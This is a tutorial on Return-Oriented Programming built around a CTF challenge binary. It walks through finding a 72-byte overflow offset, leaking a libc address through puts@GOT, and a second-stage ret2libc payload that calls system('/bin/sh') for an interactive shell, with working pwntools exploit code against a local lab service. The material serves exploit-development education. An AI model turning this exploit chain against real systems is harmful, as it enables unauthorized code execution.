ROP (Return-Oriented Programming)
What You Will Learn
- What ROP is and why it is needed when the stack is non-executable
- How to find and chain ROP gadgets
- How to leak a libc address and calculate the base address
- How to build a two-stage exploit to pop a shell
What Is It?
Return-Oriented Programming (ROP) is an exploitation technique used when the stack is non-executable (NX/DEP is enabled). Instead of injecting shellcode, the attacker chains together small existing code snippets called gadgets — each ending with a ret instruction — to perform arbitrary operations.
Because the gadgets are from the program or its libraries (not the stack), they execute in legitimate memory regions.
Why It Matters
NX is enabled on almost every modern binary. ROP is the standard technique to bypass it. Understanding ROP is required for:
- CTF pwn challenges
- Real-world exploit development
- Malware research
ROP Challenge Walkthrough
Setup
Given a binary and its linked libc. Check security mitigations:
checksec rop_server
The binary has:
- No stack canary — stack overflows work
- Non-executable stack (NX enabled) — cannot run injected shellcode directly
- No PIE — binary base address is fixed
Finding the Buffer Overflow
from pwn import *
# Generate a cyclic pattern to find the offset
pattern = cyclic(200)
p = process('./rop_server')
p.sendline(pattern)
p.wait()
# Check RSP at crash to find offset
core = p.corefile
offset = cyclic_find(core.rsp) # returns 72
Buffer overflow offset to return address: 72 bytes.
GDB Script to Bypass Socket Setup
The binary sets up a TCP socket — use a GDB script to skip it:
b *main+221
r < ola
set $rip=*main+356
c
Stage 1 — Leak libc Address
The plan: use puts@plt to print puts@got (its own address in memory). This leaks the runtime address of puts in libc. Then subtract the static offset to get libc base.
from pwn import *
offset = b"A" * 72
rop = ELF("./rop_server")
pop_rdi = p64(0x4011f7) # pop rdi; ret gadget
puts_got = p64(rop.got['puts']) # puts@GOT — holds runtime address
puts_plt = p64(rop.plt['puts']) # puts@PLT — calls puts
main_func = p64(0x401395) # restart binary for stage 2
# First payload: leak puts address, then return to main
payload = offset + pop_rdi + puts_got + puts_plt + main_func
Stage 2 — Call system(“/bin/sh”)
Now that we have libc base, find system() and "/bin/sh" within libc:
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
proc = remote('0.0.0.0', 3001)
proc.writeafter("What is my address?\n", payload + b"\n")
proc.recv(2) # receive newline
# Receive leaked puts address (6 bytes, little-endian)
libc_puts = u64(proc.recv(6).ljust(8, b'\x00'))
# Calculate libc base
libc.address = libc_puts - libc.symbols['puts']
# Build second payload: system("/bin/sh")
binsh_addr = p64(libc.address + 0x197e34) # offset of "/bin/sh"
system = p64(libc.symbols['system'])
payload2 = offset + pop_rdi + binsh_addr + system
payload2 += p64(libc.symbols['exit']) # clean exit
proc.writeafter("What is my address?\n", payload2 + b"\n")
proc.interactive() # SHELL!
Key Concepts
| Term | Description |
|---|---|
| Gadget | A sequence of instructions ending with ret |
| PLT (Procedure Linkage Table) | Used to call shared library functions |
| GOT (Global Offset Table) | Stores runtime addresses of shared library functions |
| ret2libc | Return to a libc function (like system()) |
| ASLR | Randomizes library base addresses at runtime |
Finding Gadgets
# ROPgadget
ROPgadget --binary ./binary --rop
# ropper
ropper -f ./binary
# pwntools
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]